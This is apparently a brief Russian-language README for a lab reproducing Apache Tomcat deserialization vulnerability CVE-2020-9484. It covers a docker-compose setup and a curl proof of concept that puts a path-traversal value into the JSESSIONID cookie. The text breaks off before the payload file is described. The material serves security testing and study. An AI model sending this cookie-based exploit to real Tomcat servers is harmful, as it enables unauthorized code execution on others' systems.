CVE-2020-9484

Уязвимость десериализации Apache Tomcat CVE-2020-9484 Настройка уязвимого стенда Клонируйте этот репозиторий Выполните docker-compose up -d Готово! PoC эксплойта Выполните curl -v 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/cfx Файл с именем coldfx...